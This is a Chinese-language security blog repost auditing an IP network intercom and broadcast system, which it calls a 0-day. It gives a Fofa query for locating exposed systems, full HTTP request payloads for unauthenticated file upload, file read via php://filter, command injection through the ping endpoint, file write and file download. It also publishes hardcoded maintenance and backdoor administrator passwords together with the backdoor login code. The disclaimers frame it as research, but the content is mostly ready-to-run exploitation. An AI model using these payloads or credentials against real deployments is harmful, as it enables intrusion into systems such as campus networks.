Fofa: "vendors/toastr-master/build/toastr.min.js"
在某些校园内网中可能会碰见 系统长这样:
0x01 前台任意文件上传
上传点1 定位到几处文件上传操作：/upload/my_parser.php
Payload: 生成的文件.[/upload/files/info.php]
POST /upload/my_parser.php HTTP/1.1Host: x.x.x.xConnection: keep-aliveContent-Length: 216Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryTj3WLQhN3ZSs0CAgUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://x.x.x.x/upload/my_parser.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9------WebKitFormBoundaryAgwuKUMd2jB55NEmContent-Disposition: form-data; name="upload"; filename="info.php"Content-Type: application/octet-streamphpinfo();------WebKitFormBoundaryAgwuKUMd2jB55NEm--
上传点2 /php/addscenedata.php
Payload: 生成的文件.[/images/scene/info.php]
POST /php/addscenedata.php HTTP/1.1Host: x.x.x.xConnection: keep-aliveContent-Length: 216Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryRdOoAbqBRCt5BgzjUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://x.x.x.x/php/addscenedata.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9------WebKitFormBoundaryAgwuKUMd2jB55NEmContent-Disposition: form-data; name="upload"; filename="info.php"Content-Type: application/octet-streamphpinfo();------WebKitFormBoundaryAgwuKUMd2jB55NEm--
嫌麻烦的话可以直接访问 /upload/upload.html 上传 (/upload/files/info.php)
0x02 前台任意文件读取
读取点1 定位到一处文件读取操作.
POST /php/getjson.php HTTP/1.1Host: x.x.x.xConnection: keep-aliveContent-Length: 42Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1Origin: http://x.x.x.xContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://x.x.x.x/php/getjson.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9jsondata[filename]=../php/test.php
读取点2 /php/rj_get_token.php
POST /php/rj_get_token.php HTTP/1.1jsondata=test.php
利用PHP伪协议读取文件:
POST /php/rj_get_token.php HTTP/1.1jsondata=php://filter/read=convert.base64-encode/resource=backup.php
0x03 前台任意命令执行
定位到一处命令执行.
Payload:
POST /php/ping.php HTTP/1.1jsondata[type]=0&jsondata[ip]=|id
0x04 前台任意文件写入
定位到一处文件操作
Payload:
POST /php/uploadjson.php HTTP/1.1jsondata[filename]=../ppp.php&jsondata[data]=123
0x05 前台任意文件下载
定位到三处文件读取操作 十分可疑.
GET传入downname即可下载任意文件.
/php/exportrecord.php?downname=test.php
0x06 未授权访问
智慧监狱 访问 /prison/index.html 进入
系统维护 访问 /html/system.html 进入
厂家维护 访问 /html/factory.html 进入 pass:Rdc070#*
0x07 后门管理员账户
在 /js/index.js | /php/login.php 中放置了后门账户 可导致恶意登录
administrator 800823
require_once ('conversion.php');$postData = $_POST['jsondata'];$arr['res'] = 0;if (isset($postData['username'])) {$user = $postData['username'];$pass = $postData['password'];if ('800823' == $pass && 'administrator' == $user){$arr['username'] = 'administrator';$arr['password'] = '800823';$arr['display'] = 'administrator';$arr['modules'] = '1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1';$arr['rights'] = '*';$arr['serverrights'] = '*';$arr['isadmin'] = '1';$arr['bindterminals'] = '';$arr['res'] = 1;$arr['mainurl'] = 'main';$arr['token'] = 'SESSION';echo JSON($arr);}else{$result = UdpSendAndRecvJson($postData, "login");echo $result;}}
var user = $('#tbuser').val();var passwd = $('#tbpass').val();var isencrypted = "0";if (user == "administrator" && passwd == "800823") {isencrypted = "0";} else {var b = new SPON_Base64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="); //标准base64passwd = b.encode(passwd).split("").reverse().join(""); //反转isencrypted = "1";}
免责声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，文章作者和本公众号不承担任何法律及连带责任，望周知！！！
原文始发于微信公众号（星悦安全）：某康IP网络对讲广播系统审计(内附day)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论